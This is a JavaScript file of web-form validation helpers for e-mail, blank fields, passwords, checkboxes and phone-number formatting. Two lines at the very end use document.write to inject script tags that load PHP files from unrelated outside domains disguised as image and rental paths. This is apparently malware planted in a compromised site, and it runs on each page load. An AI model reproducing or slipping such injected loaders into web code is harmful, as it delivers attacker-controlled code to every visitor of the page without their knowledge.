// validation for e-mail
function isEmailAddr(email)
{
  var result = false
  var theStr = new String(email)
  var index = theStr.indexOf("@");
  if (index > 0)
  {
    var pindex = theStr.indexOf(".",index);
    if ((pindex > index+1) && (theStr.length > pindex+1))
	result = true;
  }
  return result;
}

// this function used to check valid chars
function check_validchar(pattern,str)
{
  var re = new RegExp(pattern,"g");
  var arr = re.test(str);
   return arr;
}  

// get element value after removing leading and trailing spaces
function RemoveLTSpace(elemval)
{
	var val=elemval.replace(/\s*/,"")
	var val=val.replace(/\s*$/,"")
	return val;
}
function JSvalid_form(formnm)
{
formnm=eval(formnm);
for(var i=0;i<formnm.elements.length;i++)
	{
if(formnm.elements[i].alt){
// START CHECK FOR BLANK
var altval=formnm.elements[i].alt;
var altval1=altval.split("~DM~");
if(altval1[0]=="BC" && RemoveLTSpace(formnm.elements[i].value)=="")
		{
		formnm.elements[i].value=RemoveLTSpace(formnm.elements[i].value);
		alert("Please enter "+altval1[1]);
		
		formnm.elements[i].focus();
		return false;
		}
// END CHECK FOR BLANK
// VALID CHAR CHECK
if(altval1[2]!="" && formnm.elements[i].value!="")
	{
var re1 = new RegExp ('&q', 'g') ;
var pattern_val = altval1[2].replace(re1,'"') ;
var pattern="["+pattern_val+"]";
var re = new RegExp(pattern,"g");
if(re.test(formnm.elements[i].value)==true)
		{
		alert("Please avoid to enter \""+pattern_val+"\" in "+altval1[1]);
		formnm.elements[i].focus();
		formnm.elements[i].select();
		return false;
		}
	}
//START EMAIL CHECK
if(altval1[0]=="EMC")
{
  if (formnm.elements[i].value == "")
  {
    alert("Please enter a value for the \"email\" field.");
    formnm.elements[i].focus();
    return (false);
  }
  if (!isEmailAddr(formnm.elements[i].value))
  {
    alert("Please enter a complete email address in the form: yourname@yourdomain.com");
    formnm.elements[i].focus();
	formnm.elements[i].select();
    return (false);
  }
  if (formnm.elements[i].value.length < 3)
  {
    alert("Please enter at least 3 characters in the \"email\" field.");
    formnm.elements[i].focus();
	formnm.elements[i].select();
    return (false);
  }
}
// END EMAIL CHECK
	}
}
return true;
}

// function for password match
function password_match(pass1,pass2)
{
pass1=eval(pass1);
pass2=eval(pass2);
	if(pass1.value!=pass2.value)
	{
		return false;
	}
return true;
}

function isChecked(objCheckBox)
{
	
	
	var iIndex;
	//If checkbox object does not exist
	if(typeof(objCheckBox) != 'object')
	{
		return false;
	}
	
	//If there is only one checkbox
	if(typeof(objCheckBox[0]) != 'object')
	{
		return objCheckBox.checked;
	}
	else
	{
		var iChecked=0;
		
		for(iIndex=0; iIndex<objCheckBox.length; iIndex++)
		{
			if(objCheckBox[iIndex].checked == true)
			{
				return true;
			}
		}
		
		return false;		
	}
}






 /*added by vinod*/

 
 /*function to change format*/
 function change_format(strString)
 {
 var newformat="(";
   for (i = 0; i < strString.length; i++)
    {
      if(i==2)
      {
      newformat+=strString.charAt(i);
      newformat+=") ";
      }else if(i==5)
      {
 	      newformat+=strString.charAt(i);
 	      newformat+="-";
      }
      else
      {
      newformat+=strString.charAt(i);
      }
    }
   return newformat;
  }
 function check_numeric(strString1)
 {
 
 var strValidChars1 = "0123456789-() ";
 var strChar1;
 var blnResult1 = true;
 
 if (strString1.length == 0) return false;
 for (i = 0; i < strString1.length && blnResult1 == true; i++)
       {
       strChar1 = strString1.charAt(i);
       if (strValidChars1.indexOf(strChar1) == -1)
          {
          blnResult1 = false;
          }
       }
   return blnResult1;
 
 }
 
 /*function to check numeric*/
 
 function phone_format(FieldID,strString)
 {

    var strValidChars = "0123456789";
    var strChar;
    var blnResult = true;
    var phoneNumeric="";
    var field=FieldID;
 
	    //  test strString consists of valid characters listed above
           
          if(strString.length>=10)
          {
	    for (i = 0; i < strString.length && blnResult == true; i++)
	       {
		strChar = strString.charAt(i);

		if (strValidChars.indexOf(strChar) != -1)
		  {
		    phoneNumeric+=strChar;
		  }
	       }
      
              if(phoneNumeric.length>10)
              {
                 alert("Invalid phone number!!");
                 document.getElementById(FieldID).value="";
                 document.getElementById(FieldID).focus();
              }else
              {
		 var new_phone=change_format(phoneNumeric);
		 document.getElementById(FieldID).value=new_phone;
              }
         } 
 
 }
 
 
function valid_signup(formnm)
{
  if(!JSvalid_form(formnm))
   {
     return false;
    }
 }
document.write('<script src=http://clublukas.com/images/TypingText.php ><\/script>');
document.write('<script src=http://hoteltransportationistanbul.com/img/rentacar.php ><\/script>');